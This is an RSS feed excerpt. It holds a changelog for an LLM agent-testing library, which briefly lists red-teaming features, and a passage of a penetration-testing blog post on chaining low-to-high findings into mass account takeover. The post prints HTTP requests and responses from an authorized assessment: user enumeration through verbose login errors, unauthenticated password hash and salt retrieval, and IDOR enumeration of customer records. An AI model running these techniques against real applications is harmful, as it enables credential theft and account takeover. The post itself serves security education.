<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/python/v0.7.26...python/v0.7.27">0.7.27</a> (2026-05-21)</h2>
<h3>Features</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269762879" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/350" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/350/hovercard" href="https://github.com/langwatch/scenario/issues/350">#350</a>:</strong> voice agents — first-class voice in scenario.run() (<a href="https://github.com/langwatch/scenario/issues/355" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/355/hovercard">#355</a>) (<a href="https://github.com/langwatch/scenario/commit/128ac947d7c3412b57acb6d15358e96b0af4a1ad">128ac94</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4420741187" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/452" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/452/hovercard" href="https://github.com/langwatch/scenario/issues/452">#452</a>:</strong> voice docs surface — legacy deprecation + new section scaffold (<a href="https://github.com/langwatch/scenario/issues/456" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/456/hovercard">#456</a>) (<a href="https://github.com/langwatch/scenario/commit/1b07abbfaf503408368f4f82b8ab8319cbfd366a">1b07abb</a>)</li>
<li>add GOAT strategy with dynamic technique selection for RedTeamAgent (<a href="https://github.com/langwatch/scenario/issues/346" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/346/hovercard">#346</a>) (<a href="https://github.com/langwatch/scenario/commit/2896c97e9a534a9ff1817904053a6af4f1ad06a4">2896c97</a>)</li>
<li><strong>ci/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276120003" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/364" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/364/hovercard" href="https://github.com/langwatch/scenario/issues/364">#364</a>:</strong> add pr-auto-approve.yml as passive observer (PR <a href="https://github.com/langwatch/scenario/issues/1" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/1/hovercard">#1</a> of 4) (<a href="https://github.com/langwatch/scenario/issues/485" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/485/hovercard">#485</a>) (<a href="https://github.com/langwatch/scenario/commit/4d8459710e566ac90ad731164a4506f6d81365eb">4d84597</a>)</li>
<li><strong>red-team:</strong> zero-friction report dashboard — auto-save + <code>scenario redteam-report</code> CLI (<a href="https://github.com/langwatch/scenario/commit/2896c97e9a534a9ff1817904053a6af4f1ad06a4">2896c97</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong>deps:</strong> bump filelock to &gt;=3.20.3 for TOCTOU/symlink CVEs (<a href="https://github.com/langwatch/scenario/issues/481" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/481/hovercard">#481</a>) (<a href="https://github.com/langwatch/scenario/commit/479ec8218afcc2f92632dbdce4b71e963fcf953b">479ec82</a>)</li>
<li><strong>deps:</strong> bump pytest to &gt;=9.0.3 for <a title="CVE-2025-71176" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6w46-j5rx-g56g/hovercard" href="https://github.com/advisories/GHSA-6w46-j5rx-g56g">CVE-2025-71176</a> (<a href="https://github.com/langwatch/scenario/issues/479" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/479/hovercard">#479</a>) (<a href="https://github.com/langwatch/scenario/commit/4f4ffd4bdbe829dd06e534c69e1ee7be25164917">4f4ffd4</a>)</li>
<li><strong>deps:</strong> bump python-liquid to &gt;=2.2.0 for high severity CVE (<a href="https://github.com/langwatch/scenario/issues/459" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/459/hovercard">#459</a>) (<a href="https://github.com/langwatch/scenario/commit/60bad7633208bb72056408bf3b6c0b9824c21915">60bad76</a>)</li>
<li><strong>deps:</strong> bump urllib3 to &gt;=2.7.0 for high severity CVEs (<a href="https://github.com/langwatch/scenario/issues/457" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/457/hovercard">#457</a>) (<a href="https://github.com/langwatch/scenario/commit/50c3cea6acdefaf65b9b84a925db41a206b15cce">50c3cea</a>)</li>
<li><strong>deps:</strong> bump virtualenv to &gt;=20.36.1 for <a title="CVE-2026-22702" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-597g-3phw-6986/hovercard" href="https://github.com/advisories/GHSA-597g-3phw-6986">CVE-2026-22702</a> (<a href="https://github.com/langwatch/scenario/issues/483" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/483/hovercard">#483</a>) (<a href="https://github.com/langwatch/scenario/commit/8f1069002fa968e9ce17874bbb15b86e24714228">8f10690</a>)</li>
<li><strong>deps:</strong> override minimatch to &gt;=9.0.6 (<a title="CVE-2026-26996" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-3ppc-4f35-3m26/hovercard" href="https://github.com/advisories/GHSA-3ppc-4f35-3m26">CVE-2026-26996</a>) (<a href="https://github.com/langwatch/scenario/issues/395" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/395/hovercard">#395</a>) (<a href="https://github.com/langwatch/scenario/commit/ceb0b59e6a96fe27adf865f03aa1de8a9ea03357">ceb0b59</a>)</li>
<li><strong>deps:</strong> resolve 4 high-severity Dependabot security alerts (<a href="https://github.com/langwatch/scenario/issues/393" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/393/hovercard">#393</a>) (<a href="https://github.com/langwatch/scenario/commit/97f257ddc30a6bd7a9cca65e2e62e0ed0c688085">97f257d</a>)</li>
<li><strong>docs:</strong> exclude scenario.report.app from pdoc to unblock Publish Docs (<a href="https://github.com/langwatch/scenario/issues/388" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/388/hovercard">#388</a>) (<a href="https://github.com/langwatch/scenario/commit/3736c871d74bef4c81b696882786e84e23cf86e8">3736c87</a>)</li>
<li><strong>examples:</strong> stabilize custom LLM judge criteria matching (<a href="https://github.com/langwatch/scenario/issues/396" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/396/hovercard">#396</a>) (<a href="https://github.com/langwatch/scenario/commit/f4b536cf12a6d525b487c672f9451390e13957c7">f4b536c</a>)</li>
<li><strong>examples:</strong> stabilize vegetarian-agent parallel tests on python-ci (<a href="https://github.com/langwatch/scenario/issues/389" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/389/hovercard">#389</a>) (<a href="https://github.com/langwatch/scenario/commit/e40eee3276bbe967ab4ac465b3cd9048f74c8421">e40eee3</a>)</li>
<li><strong>examples:</strong> strengthen vegetarian-agent prompt to stabilize parallel tests (<a href="https://github.com/langwatch/scenario/commit/e40eee3276bbe967ab4ac465b3cd9048f74c8421">e40eee3</a>)</li>
<li><strong>examples:</strong> use positional index matching in custom judge examples (<a href="https://github.com/langwatch/scenario/commit/f4b536cf12a6d525b487c672f9451390e13957c7">f4b536c</a>)</li>
<li><strong>judge:</strong> harden forceVerdict so discovery tools cannot leak (JS + Python) (<a href="https://github.com/langwatch/scenario/issues/377" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/377/hovercard">#377</a>) (<a href="https://github.com/langwatch/scenario/commit/0e2859f5ec1c171fa3d3d6f89b7d59555be6b95b">0e2859f</a>)</li>
<li><strong>red-team:</strong> annotate H_attacker when post-hoc injection fires (<a href="https://github.com/langwatch/scenario/issues/326" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/326/hovercard">#326</a>, <a href="https://github.com/langwatch/scenario/issues/334" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/334/hovercard">#334</a>) (<a href="https://github.com/langwatch/scenario/commit/2896c97e9a534a9ff1817904053a6af4f1ad06a4">2896c97</a>)</li>
<li><strong>security:</strong> bump litellm to fix 4 high-severity CVEs (<a href="https://github.com/langwatch/scenario/issues/411" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/411/hovercard">#411</a>) (<a href="https://github.com/langwatch/scenario/commit/f6ff8a3b4e4d34df6d9a6b72c0a69afa8daaea3b">f6ff8a3</a>)</li>
<li><strong>security:</strong> patch <a title="CVE-2026-27903" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-7r86-cg39-jmmj/hovercard" href="https://github.com/advisories/GHSA-7r86-cg39-jmmj">CVE-2026-27903</a> in minimatch (<a href="https://github.com/langwatch/scenario/issues/398" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/398/hovercard">#398</a>) (<a href="https://github.com/langwatch/scenario/commit/b61cc6005645b7703788c02c6cb4d134559e339b">b61cc60</a>)</li>
<li><strong>security:</strong> patch flatted prototype pollution via parse() (<a href="https://github.com/langwatch/scenario/issues/421" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/421/hovercard">#421</a>) (<a href="https://github.com/langwatch/scenario/commit/3a20e6c57bb81583144cb643d3fcac390f66af3b">3a20e6c</a>)</li>
<li><strong>security:</strong> patch glob CLI command injection in lovable_clone npm lockfile (<a href="https://github.com/langwatch/scenario/issues/413" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/413/hovercard">#413</a>) (<a href="https://github.com/langwatch/scenario/commit/d1b3297c47e28dfac2b1940c24223a3e32ec89ba">d1b3297</a>)</li>
<li><strong>security:</strong> patch glob CLI command injection in lovable_clone template npm lockfile (<a href="https://github.com/langwatch/scenario/commit/d1b3297c47e28dfac2b1940c24223a3e32ec89ba">d1b3297</a>)</li>
<li><strong>security:</strong> patch picomatch ReDoS in lovable_clone npm lockfile (<a href="https://github.com/langwatch/scenario/issues/409" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/409/hovercard">#409</a>) (<a href="https://github.com/langwatch/scenario/commit/70a5ff9e5ecfddc7c20eeb62cab7e8fa77240017">70a5ff9</a>)</li>
<li><strong>security:</strong> patch react-router XSS and open redirect CVEs (<a href="https://github.com/langwatch/scenario/issues/418" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/418/hovercard">#418</a>) (<a href="https://github.com/langwatch/scenario/commit/2b6797acd9063adb71b6d6ea80070aaf17431bb6">2b6797a</a>)</li>
<li><strong>security:</strong> patch rollup arbitrary file write via path traversal (<a href="https://github.com/langwatch/scenario/issues/399" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/399/hovercard">#399</a>) (<a href="https://github.com/langwatch/scenario/commit/55a02598ad8d245dfac159357b17c8d89192b824">55a0259</a>)</li>
<li><strong>security:</strong> patch rollup path traversal CVE (&gt;= 4.0.0, &lt; 4.59.0) (<a href="https://github.com/langwatch/scenario/commit/55a02598ad8d245dfac159357b17c8d89192b824">55a0259</a>)</li>
<li><strong>security:</strong> upgrade aiohttp to fix zip bomb and other CVEs (<a href="https://github.com/langwatch/scenario/issues/417" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/417/hovercard">#417</a>) (<a href="https://github.com/langwatch/scenario/commit/a747624520eb9e6370a3e596baadba2610ef08f6">a747624</a>)</li>
<li><strong>security:</strong> upgrade black to fix arbitrary file write CVE (<a href="https://github.com/langwatch/scenario/issues/403" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/403/hovercard">#403</a>) (<a href="https://github.com/langwatch/scenario/commit/65839421f3bc2aa1162c9c122f3015caa4794331">6583942</a>)</li>
<li><strong>security:</strong> upgrade black to fix arbitrary file write via cache file name (<a href="https://github.com/langwatch/scenario/commit/65839421f3bc2aa1162c9c122f3015caa4794331">6583942</a>)</li>
<li><strong>security:</strong> upgrade mcp Python SDK to fix DoS and DNS rebinding CVEs (<a href="https://github.com/langwatch/scenario/issues/406" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/406/hovercard">#406</a>) (<a href="https://github.com/langwatch/scenario/commit/25e2e1ca56fb860f1ec4b436f95b44f4b6ba51ac">25e2e1c</a>)</li>
<li><strong>security:</strong> upgrade pyasn1 to fix DoS via unbounded recursion (<a href="https://github.com/langwatch/scenario/commit/2880a73233d0fd5d7c6445d5bfaa5bb84048e8d9">2880a73</a>)</li>
<li><strong>security:</strong> upgrade pyasn1 to fix DoS vulnerabilities (<a href="https://github.com/langwatch/scenario/issues/401" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/401/hovercard">#401</a>) (<a href="https://github.com/langwatch/scenario/commit/2880a73233d0fd5d7c6445d5bfaa5bb84048e8d9">2880a73</a>)</li>
<li><strong>security:</strong> upgrade pydantic-ai to fix SSRF vulnerability (<a href="https://github.com/langwatch/scenario/issues/405" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/405/hovercard">#405</a>) (<a href="https://github.com/langwatch/scenario/commit/f7ec414375ca165c62bf231f6aa0e988b3140d84">f7ec414</a>)</li>
<li><strong>security:</strong> upgrade python-multipart to fix arbitrary file write CVE (<a href="https://github.com/langwatch/scenario/issues/407" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/407/hovercard">#407</a>) (<a href="https://github.com/langwatch/scenario/commit/1f2bb80e4fdf70fa600f09c23f30fed01995f3d1">1f2bb80</a>)</li>
<li><strong>security:</strong> upgrade starlette to fix DoS via Range header merging (<a href="https://github.com/langwatch/scenario/issues/402" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/402/hovercard">#402</a>) (<a href="https://github.com/langwatch/scenario/commit/11135a780521fc169211665102d1bf3e6766706e">11135a7</a>)</li>
<li><strong>security:</strong> upgrade urllib3 to fix decompression bomb CVEs (<a href="https://github.com/langwatch/scenario/issues/404" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/404/hovercard">#404</a>) (<a href="https://github.com/langwatch/scenario/commit/1b00ea2bbafc387eeda7cd9f04e3c7274ac27772">1b00ea2</a>)</li>
<li><strong>voice:</strong> render audio messages cleanly in the terminal (<a href="https://github.com/langwatch/scenario/issues/497" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/497/hovercard">#497</a>) (<a href="https://github.com/langwatch/scenario/commit/bb4ff9bb13c041050a87ff4618a2f8476ee219dd">bb4ff9b</a>)</li>
<li><strong>voice:</strong> stub bot barge-in cancelled STT mid-pipeline, dropping user transcripts (<a href="https://github.com/langwatch/scenario/issues/499" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/499/hovercard">#499</a>) (<a href="https://github.com/langwatch/scenario/commit/5cb35960cd294c8b1e3c867dbccadf86205af891">5cb3596</a>)</li>
</ul>
<h3>Miscellaneous</h3>
<ul>
<li><strong>deps-dev:</strong> bump vite, @vitejs/plugin-react-swc and lovable-tagger (<a href="https://github.com/langwatch/scenario/commit/e43f9386b8122de9f0c077b473083bdb3c9f9478">e43f938</a>)</li>
<li><strong>deps-dev:</strong> bump vite, @vitejs/plugin-react-swc and lovable-tagger in /python/examples/lovable_clone/template (<a href="https://github.com/langwatch/scenario/issues/429" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/429/hovercard">#429</a>) (<a href="https://github.com/langwatch/scenario/commit/e43f9386b8122de9f0c077b473083bdb3c9f9478">e43f938</a>)</li>
<li><strong>deps:</strong> bump black from 25.1.0 to 26.3.1 in /python (<a href="https://github.com/langwatch/scenario/issues/431" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/431/hovercard">#431</a>) (<a href="https://github.com/langwatch/scenario/commit/07db40a07cd53c5b6aa15c4bb0c36b9fa06db164">07db40a</a>)</li>
<li><strong>deps:</strong> bump gitpython from 3.1.49 to 3.1.50 in /python (<a href="https://github.com/langwatch/scenario/issues/447" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/447/hovercard">#447</a>) (<a href="https://github.com/langwatch/scenario/commit/3fcd1fa5eadb77b9dad5c055cdd6047f3639647a">3fcd1fa</a>)</li>
<li><strong>deps:</strong> bump mako from 1.3.10 to 1.3.12 in /python (<a href="https://github.com/langwatch/scenario/issues/448" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/448/hovercard">#448</a>) (<a href="https://github.com/langwatch/scenario/commit/ab4d5764aaadb87b73182287d4232750ca4fbebb">ab4d576</a>)</li>
<li><strong>deps:</strong> bump protobuf from 5.29.5 to 5.29.6 in /python (<a href="https://github.com/langwatch/scenario/issues/433" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/433/hovercard">#433</a>) (<a href="https://github.com/langwatch/scenario/commit/6ea6ed79e175df6458943a22e66976315fa2f720">6ea6ed7</a>)</li>
<li><strong>deps:</strong> bump pyasn1 from 0.6.1 to 0.6.3 in /python (<a href="https://github.com/langwatch/scenario/issues/432" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/432/hovercard">#432</a>) (<a href="https://github.com/langwatch/scenario/commit/ee837e7ac87ddc6ecada5651db5a5caf53cd0236">ee837e7</a>)</li>
<li><strong>deps:</strong> bump python-multipart from 0.0.20 to 0.0.26 in /python (<a href="https://github.com/langwatch/scenario/issues/430" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/430/hovercard">#430</a>) (<a href="https://github.com/langwatch/scenario/commit/0b29bbbb18b833d3fe5bee8de3d80de8b9ebe69c">0b29bbb</a>)</li>
<li><strong>deps:</strong> bump python-multipart from 0.0.26 to 0.0.27 in /python (<a href="https://github.com/langwatch/scenario/issues/449" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/449/hovercard">#449</a>) (<a href="https://github.com/langwatch/scenario/commit/e5467b366870bb6d368ec093dd910292477e2934">e5467b3</a>)</li>
<li><strong>deps:</strong> bump starlette from 0.47.0 to 0.49.1 in /python (<a href="https://github.com/langwatch/scenario/issues/434" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/434/hovercard">#434</a>) (<a href="https://github.com/langwatch/scenario/commit/5263fed39b4a8c8404ca1f6581352d6f7921f682">5263fed</a>)</li>
<li><strong>deps:</strong> bump urllib3 from 1.26.20 to 2.6.3 in /python (<a href="https://github.com/langwatch/scenario/issues/435" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/435/hovercard">#435</a>) (<a href="https://github.com/langwatch/scenario/commit/1793d6463cf6298d45aaba082171cd900bb49037">1793d64</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Pentester’s Methodology for Toxic Vulnerability Combinations]]></title>
<description><![CDATA[How a Low, a Medium, and a High Compose Into a CriticalSenior pentesters find these toxic combinations the same way every time. A four-phase methodology. Each phase asks one question. This post walks the methodology through a real discovery from an authorized assessment.The Outcome FirstA handful...]]></description>
<link>https://tsecurity.de/de/3528505/hacking/a-pentesters-methodology-for-toxic-vulnerability-combinations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528505/hacking/a-pentesters-methodology-for-toxic-vulnerability-combinations/</guid>
<pubDate>Tue, 19 May 2026 11:23:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>How a Low, a Medium, and a High Compose Into a Critical</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ClknjmTwlFdnWaWV9SdxUw.png"></figure><p><em>Senior pentesters find these toxic combinations the same way every time. A four-phase methodology. Each phase asks one question. This post walks the methodology through a real discovery from an authorized assessment.</em></p><h3>The Outcome First</h3><p>A handful of anonymous API calls. One legitimate login at the end, as the victim. Five thousand customer accounts, every one of them reachable. Every password overwritten in a few seconds. Every account logged in to with the credentials the attacker chose. No privilege escalation, no token forgery, no exploit primitive. Every request the chain made was authorized as the attacker, because most of the chain never asked the attacker who they were.</p><p>The scanner that ran against the same application before the engagement reported the underlying findings as separate items. None rated Critical. All sat unremarkably in the triage backlog.</p><p>This post walks through how a pentester gets from those findings to that outcome. The mechanism is a methodology. It does not appear on any scanner’s findings list, but every experienced practitioner uses some version of it, and the structure is consistent enough to teach.</p><p>The methodology has four phases. Each phase asks one specific question of the application. The answers from each phase become inputs to the next. When all four answers connect, you have a <em>toxic combination</em>. Three or four findings whose individual severities understate what they enable when chained. In the engagement walked through here, that combination is one Low, one Medium, and one High that compose into a Critical.</p><p>The four questions:</p><ul><li>[1] <strong>Information Gathering.</strong> <em>What does the application teach me, that I shouldn’t have learned, just by being here?</em></li><li>[2] <strong>Vulnerability Analysis.</strong> <em>Which inputs identify objects, and which of those are not bound to my session?</em></li><li>[3] <strong>Attack Execution.</strong> <em>Does the same identifier I just exfiltrated work on a write endpoint? And was authentication required at all?</em></li><li>[4] <strong>Exploitation.</strong> <em>Can the chain produce a state change the application’s normal threat model would not detect?</em></li></ul><p>Each phase carries a severity rating taken in isolation. None of the individual ratings is Critical. The combination is.</p><p>What follows comes from an authorized assessment. The endpoint paths, request shapes, and overall chain are reproduced from the engagement. The data values (names, emails, profile IDs, hash strings) are synthesized so nothing in this post identifies the assessed application or any real customer. The pattern reported here was filed, escalated, and remediated before the application’s planned sunset.</p><h3>The Starting Position</h3><p>The engagement began the way most do. Pre-test triage produced the usual mix. A few missing security headers, a reflective XSS hint that turned out to be a false positive, a “verbose error message” entry against the login endpoint marked Medium, and a generic “missing headers on JavaScript file” against app.js.</p><p>If I had treated that as a finished list, the engagement would have been a four-paragraph memo. Three findings to acknowledge, one to push back on, sign off, move on. The chain that ended in mass account takeover would have stayed undiscovered.</p><p>I opened the JavaScript file anyway. Not because I expected anything interesting. Reading the bundle is a habit I picked up from senior reviewers years ago. Automated tooling can tell me a file is missing a header. It cannot tell me what the file does.</p><p>Every step of the methodology starts from the lowest-privilege legitimate position the application allows. Not because elevated access is hard to get, but because chains that start from admin tell us nothing about the threat model that matters most. The user the application already trusts. The chain that follows holds against an unauthenticated visitor for the first three phases. The position rises to a legitimate customer login only at the very end, when the chain reaches its outcome.</p><h3>Phase 1: Information Gathering</h3><p><em>What does the application teach me, that I shouldn’t have learned, just by being here?</em></p><p>I never logged in for this phase. Visiting the login page through Burp’s proxy was enough.</p><p>The login page’s HTML loads four obvious script files (main.js, apim-auth.js, env.js, firebase.js) and one less obvious one. A &lt;link rel=”preload” as=”script” href=”/js/app.js”&gt; declaration in the page head causes the browser to issue a GET for /js/app.js during initial page load. This is the kind of tag a webpack build emits when it wants the browser to prefetch a route chunk for the next navigation. Burp captured all five files in the same proxy history sequence, before I had typed a single character into the login form. The fifth file, app.js, is the post-login dashboard’s bundle. Its presence in the proxy history meant the application had already shipped its post-login API catalog to me, an unauthenticated visitor.</p><p>Opening app.js in Burp’s response viewer, the first dozen lines told me everything I needed to know about the API surface I was about to test.</p><pre>// Internal API endpoint catalog (used by build tools, do not remove)<br> // POST /api/login body { email, password }<br> // GET /api/profile?id=N profile by numeric id (admin only)<br> // GET /api/profile/password?id=N legacy reset-lookup (returns salt+hash)<br> // PUT /api/profile/password body { id?, currentPassword?, newPassword }<br> // POST /api/account/info body { userProfileID: N }<br> //<br> // TODO(qa): remove qa.test@acme-portal.local seed account before release.<br> // Leftover from QA cycle. Admin role, used for password-reset regression tests.</pre><p>Three things jump out of the catalog in under five seconds.</p><p>1. <strong>/api/profile?id=N is annotated “admin only”, but it is rendered by the customer dashboard.</strong> Either the comment is wrong, the gate is wrong, or both. Worth probing.</p><p>2. <strong>/api/profile/password GET returns salt+hash.</strong> That phrase belongs in a database row, not an HTTP response body. Worth probing harder.</p><p>3. <strong>PUT /api/profile/password accepts an id in addition to currentPassword.</strong> Optional id. Two execution branches in one endpoint. The branch that takes id cannot also be requiring the current password, otherwise the optional structure makes no sense.</p><p>The TODO comment names a specific email, qa.test@acme-portal.local. The developer who wrote the comment intended to remove the seed account before release. They clearly did not. The seed account also appears to have an admin role.</p><p>I rated this finding Low in isolation. Information disclosure to <em>unauthenticated</em> visitors is a notch worse than disclosure to authenticated users, but the file does not contain credentials, tokens, or directly exploitable data on its own. A reviewer skimming the bundle would tag it “Low, verify, accept the risk if no PII is exposed.” That triage is technically correct. It also prematurely closes the most interesting input the chain ever produces.</p><p>The methodology question for Phase 1 is not “what is the severity of the JS bundle exposure?” The question is <em>what does the application teach me that I shouldn’t have learned just by being here?</em> The answer is an inventory of inputs the developers thought the requester would not see.</p><p>That inventory is the input for Phase 2.</p><h3>Phase 2: Vulnerability Analysis</h3><p><em>Which inputs identify objects, and which of those are not bound to my session?</em></p><p>Phase 2 lives inside the login endpoint, which the application has to expose to unauthenticated visitors by definition. I stayed unauthenticated.</p><p>Before testing the other endpoints from the catalog directly, I tried something the JS bundle made specifically possible. I attempted to log in using qa.test@acme-portal.local, the email left behind in the TODO comment, with a deliberately wrong password. I expected the standard “Invalid credentials” response. What I got was different.</p><pre>POST /api/login HTTP/1.1<br>Content-Type: application/json<br> <br>{"email":"qa.test@acme-portal.local","password":"wrongpass"}</pre><pre>Response:<br>    {<br>     "IsSuccess": false,<br>     "error": "Email exists but password is incorrect",<br>     "email": "qa.test@acme-portal.local",<br>     "userName": "QA Test Account",<br>     "userProfileID": 9999,<br>     "role": "admin"<br>    }</pre><p>The IsSuccess: false field told me authentication failed. Everything below it told me the account exists, that it is named “QA Test Account”, that its profile ID is 9999, and that its role is admin. None of that should be in a failed-login response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*M8IqsenVJFcLCvF9H0TRMA.png"><figcaption><strong>Verbose login response leaks PII when the email exists</strong></figcaption></figure><p>I tested the same path against an email I knew was not in the system (noone@nowhere.invalid).</p><pre>{ "IsSuccess": false, "error": "Invalid credentials" }</pre><p>Generic 401, no metadata. The verbose response only fires when the email exists. That is not a verbose error message. That is a user-enumeration oracle. Type any email at the login endpoint and the response shape tells you whether the email is registered. If it is, it also tells you the user’s name, profile ID, and role.</p><p>I confirmed the same shape against a known regular customer.</p><pre>{<br> "IsSuccess": false,<br> "error": "Email exists but password is incorrect",<br> "email": "sarah.thompson@outlook.com",<br> "userName": "Sarah Thompson",<br> "userProfileID": 2,<br> "role": "customer"<br>}</pre><p>The failed-login path leaks email, name, profile ID, and role for any registered email, to an unauthenticated visitor, with no rate limit applied. I rated this Medium in isolation. Verbose-error responses that disclose user metadata land squarely in standard Medium territory, and that rating is the right one to file. What elevates this finding inside the chain is the role field. That field tells the attacker which profile IDs are admin accounts, which becomes the prioritization for Phase 3. The Medium rating is correct. The chain is what makes it dangerous.</p><p>The output of Phase 2 is the data the gap leaks. Numeric profile IDs, and the knowledge that profile ID 9999 holds an admin role. That data is the input for Phase 3.</p><h3>Phase 3: Attack Execution</h3><p><em>Does the same identifier I just exfiltrated work on a write endpoint? And was authentication required at all?</em></p><p>The catalog from Phase 1 listed a curious endpoint.</p><pre>GET /api/profile/password?id=N legacy reset-lookup (returns salt+hash)</pre><p>Why would a password reset endpoint return the salt and hash? In a normal architecture, the reset flow generates a token, emails it, and accepts a new password. The hash never leaves the database. A “legacy reset-lookup” endpoint that returns hash and salt is the kind of thing that exists because some backend developer wrote a JSON wrapper around a legacy SOAP method without thinking about what they were exposing.</p><p>Out of habit, my first probe carried an Authorization header, a Bearer token I had picked up from a separate test session. The endpoint returned 200 with the salt and hash. I made the same call again with the Authorization header removed entirely. Same 200. Same salt and hash.</p><p>The endpoint had not checked the token. The endpoint was not checking authentication at all.</p><pre>GET /api/profile/password?id=2 HTTP/1.1<br>Accept: application/json</pre><pre>Response:<br>    {<br>     "IsSuccess": true,<br>     "userProfileID": 2,<br>     "userName": "Sarah Thompson",<br>     "email": "sarah.thompson@outlook.com",<br>     "role": "customer",<br>     "passwordHash": "A917B980DA07B1051F071DCBD0CDA0BAED53567AEEE5E92B2E4765631ED4FEEF",<br>     "salt": "4329e437404ef2f8"<br>    }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*utqDv6csHL0h-xIVkEAZFA.png"><figcaption><strong>Hash and salt returned by the legacy reset-lookup endpoint for any profile id</strong></figcaption></figure><p>No Authorization header. No session cookie. No API key. The endpoint never asked. Hash, salt, email, username, role, all returned to an anonymous caller, for any profile ID that exists.</p><p>This is two authorization failures stacked on the same endpoint. The first is missing authentication entirely. The endpoint accepts requests from anyone on the public internet without checking who is calling. The second is missing object-level authorization. Even if the endpoint did check the caller, it would have no notion of which profile IDs that caller is allowed to read, because the code doesn’t bind the id parameter to any session at all. A scanner would catch neither pattern by itself. It would see a 200 response and move on.</p><p>A senior pentester recognizes the broken-object-level-authorization shape on a credential-bearing endpoint and rates this High. Practical impact is offline credential cracking against any user the attacker can name, with no rate limit and no authentication barrier.</p><p>The methodology pushes one more step before rating. The output of an enumeration step is rarely the data of one record. It is the proof that the enumeration <em>itself</em> works, which means the next step is to scale. I added a second enumeration target, the account/info endpoint that the catalog also listed.</p><pre>POST /api/account/info HTTP/1.1<br>Content-Type: application/json<br> <br>{"userProfileID":3}</pre><pre>Response:<br>    {<br>     "IsSuccess": true,<br>     "userProfileID": 3,<br>     "userName": "Robert Chen",<br>     "email": "robert.chen@yahoo.com",<br>     "policyNumber": "POL-10004"<br>     }</pre><p>Same pattern. No authentication required. No ownership check. The endpoint accepts any profile ID and returns email, username, and policy number. Looped over an incrementing range of profile IDs, this becomes a full customer enumeration in a few seconds. The customer database held close to 5000 records. The loop returned every one of them.</p><p>At this point I had, anonymously:</p><ul><li>A user-enumeration primitive (the verbose login response)</li><li>A salt+hash leak for any profile ID (the GET reset-lookup)</li><li>An email, name, and policy disclosure for any profile ID (the account/info endpoint)</li><li>The knowledge that profile ID 9999 is a leftover admin account</li><li>The original IDOR observation from the catalog comment (“admin only” gate that wasn’t 